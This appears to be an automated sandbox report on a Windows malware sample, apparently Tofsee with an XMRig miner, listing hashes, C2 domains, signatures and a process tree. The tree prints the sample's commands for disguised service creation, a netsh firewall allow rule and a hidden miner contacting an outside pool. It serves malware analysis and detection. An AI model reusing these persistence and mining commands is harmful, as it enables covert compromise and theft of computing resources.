Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    12/10/2023, 15:56

General

  • Target

    file.exe

  • Size

    215KB

  • MD5

    4e24c2069b040a40ebba8929e9ad2909

  • SHA1

    3fb7d81f621f77572fb1cc7ed4c0c116c5e68a4c

  • SHA256

    b94a454399232bb541b952c27fd158c8ddb4cbd3ec28633c63ae7187ad0adbe2

  • SHA512

    6ca3424e6891d17416241079f88eaa0dad7796dad143499874b269484156608dc6f13ef7786a3ff8b3dfc3d9f5942fa11f2ade68c6ea5a312e4433dd0393bb41

  • SSDEEP

    3072:XAX5ILc4SJF966mc67wYHUzDBdgBoQtCMiAQOM+757awZTJw4:k5ILaJF96rc67noAB5g9OL9awZT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bdfjfoyv\
      2⤵
        PID:2664
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gnmzhhpt.exe" C:\Windows\SysWOW64\bdfjfoyv\
        2⤵
          PID:2992
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bdfjfoyv binPath= "C:\Windows\SysWOW64\bdfjfoyv\gnmzhhpt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bdfjfoyv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bdfjfoyv
          2⤵
          • Launches sc.exe
          PID:2740
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1200
      • C:\Windows\SysWOW64\bdfjfoyv\gnmzhhpt.exe
        C:\Windows\SysWOW64\bdfjfoyv\gnmzhhpt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2968
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:832

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\gnmzhhpt.exe

              Filesize

              10.8MB

              MD5

              daac38c6faa1c3415be5926cbe8936fc

              SHA1

              3ad538f6347ff88b40cc5c028d05fdb207a9a345

              SHA256

              8859bf7ad4237dd4fa88b487e8c86319fe72250c62e3f682a03337f6a5b0a0fb

              SHA512

              c2bf205ea024716376ac1fc9fd396ae53f6125f2262d9d6e5b7426e0e420587370a1e603a5877955a409e785f0fb1bbae3b4dbd39f02743d85aa26184099a1fd

            • C:\Windows\SysWOW64\bdfjfoyv\gnmzhhpt.exe

              Filesize

              10.8MB

              MD5

              daac38c6faa1c3415be5926cbe8936fc

              SHA1

              3ad538f6347ff88b40cc5c028d05fdb207a9a345

              SHA256

              8859bf7ad4237dd4fa88b487e8c86319fe72250c62e3f682a03337f6a5b0a0fb

              SHA512

              c2bf205ea024716376ac1fc9fd396ae53f6125f2262d9d6e5b7426e0e420587370a1e603a5877955a409e785f0fb1bbae3b4dbd39f02743d85aa26184099a1fd

            • memory/832-72-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-73-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-61-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-62-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-70-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-71-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-76-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-75-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/832-74-0x0000000000170000-0x0000000000261000-memory.dmp

              Filesize

              964KB

            • memory/2208-7-0x0000000000220000-0x0000000000235000-memory.dmp

              Filesize

              84KB

            • memory/2208-0-0x0000000000220000-0x0000000000235000-memory.dmp

              Filesize

              84KB

            • memory/2208-6-0x0000000000240000-0x0000000000253000-memory.dmp

              Filesize

              76KB

            • memory/2208-1-0x0000000000240000-0x0000000000253000-memory.dmp

              Filesize

              76KB

            • memory/2208-5-0x0000000000400000-0x0000000000486000-memory.dmp

              Filesize

              536KB

            • memory/2208-2-0x0000000000400000-0x0000000000486000-memory.dmp

              Filesize

              536KB

            • memory/2504-39-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-47-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-32-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-33-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-34-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-35-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-36-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-37-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-38-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-26-0x0000000000250000-0x0000000000256000-memory.dmp

              Filesize

              24KB

            • memory/2504-40-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-42-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-41-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-43-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-44-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-46-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-45-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-29-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-48-0x0000000000260000-0x0000000000270000-memory.dmp

              Filesize

              64KB

            • memory/2504-49-0x0000000000270000-0x0000000000275000-memory.dmp

              Filesize

              20KB

            • memory/2504-52-0x0000000000270000-0x0000000000275000-memory.dmp

              Filesize

              20KB

            • memory/2504-53-0x0000000005880000-0x0000000005C8B000-memory.dmp

              Filesize

              4.0MB

            • memory/2504-56-0x0000000005880000-0x0000000005C8B000-memory.dmp

              Filesize

              4.0MB

            • memory/2504-57-0x00000000002C0000-0x00000000002C7000-memory.dmp

              Filesize

              28KB

            • memory/2504-25-0x0000000001C50000-0x0000000001E5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2504-22-0x0000000001C50000-0x0000000001E5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2504-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-18-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2504-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2504-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2968-9-0x0000000000310000-0x0000000000323000-memory.dmp

              Filesize

              76KB

            • memory/2968-10-0x0000000000400000-0x0000000000486000-memory.dmp

              Filesize

              536KB

            • memory/2968-15-0x0000000000400000-0x0000000000486000-memory.dmp

              Filesize

              536KB